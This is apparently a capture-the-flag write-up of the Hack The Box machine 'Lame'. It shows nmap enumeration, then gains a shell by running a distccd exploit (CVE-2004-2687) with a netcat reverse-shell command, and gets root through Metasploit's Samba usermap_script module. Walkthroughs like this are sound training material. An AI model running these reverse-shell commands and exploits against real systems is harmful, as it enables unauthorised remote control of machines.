CTF Writeup - HTB Lame
Table of Contents
Lame
Enumeration
Nmap
┌──(root💀kali)-[~/lame]
└─# nmap -sC -sV -p- -T4 10.129.79.102 -oN nmap.txt
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-29 01:31 EEST
Nmap scan report for 10.129.79.102
Host is up (0.039s latency).
Not shown: 65530 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 10.10.16.22
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| vsFTPd 2.3.4 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey:
| 1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_ 2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-`k Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
3632/tcp open distccd distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_clock-skew: mean: 2h00m25s, deviation: 2h49m45s, median: 22s
| smb-os-discovery:
| OS: Unix (Samba 3.0.20-Debian)
| Computer name: lame
| NetBIOS computer name:
| Domain name: hackthebox.gr
| FQDN: lame.hackthebox.gr
|_ System time: 2023-10-28T18:33:35-04:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_smb2-time: Protocol negotiation failed (SMB2)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 151.11 seconds
FTP File Zilla
This is not writeable
SMB
┌──(root💀kali)-[~/lame]
└─# smbclient -L 10.129.79.102 1 ⨯
protocol negotiation failed: NT_STATUS_CONNECTION_DISCONNECTED
Not accessible.
Distccd
(CVE-2004-2687) DistCC Daemon - Command Execution (Python)
Found interestring exploit.
┌──(root💀kali)-[~/lame]
└─# python3 distccd_rce_CVE-2004-2687.py -t 10.129.79.102 -p 3632 -c "nc 10.10.16.22 1403 -e /bin/sh"
[*] Connected to remote service
[!] Socket Timeout
I got first shell
Shell Privilege Escalation
I tried a lot of things but I couldn’t find anything that makes me gain root privilege with this user.
Samba “username map script” Command Execution
I decided to go back to enumeration and found interesting smb vulnerability and tried it with msfconsole in the end.
msf6 > use exploit/multi/samba/usermap_script
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf6 exploit(multi/samba/usermap_script) > show options
Module options (exploit/multi/samba/usermap_script):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/
wiki/Using-Metasploit
RPORT 139 yes The target port (TCP)
Payload options (cmd/unix/reverse_netcat):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 10.211.55.20 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
msf6 exploit(multi/samba/usermap_script) > set RHOSTS 10.129.79.102
RHOSTS => 10.129.79.102
msf6 exploit(multi/samba/usermap_script) > set LHOST 10.10.16.22
LHOST => 10.10.16.22
msf6 exploit(multi/samba/usermap_script) > run
I got root.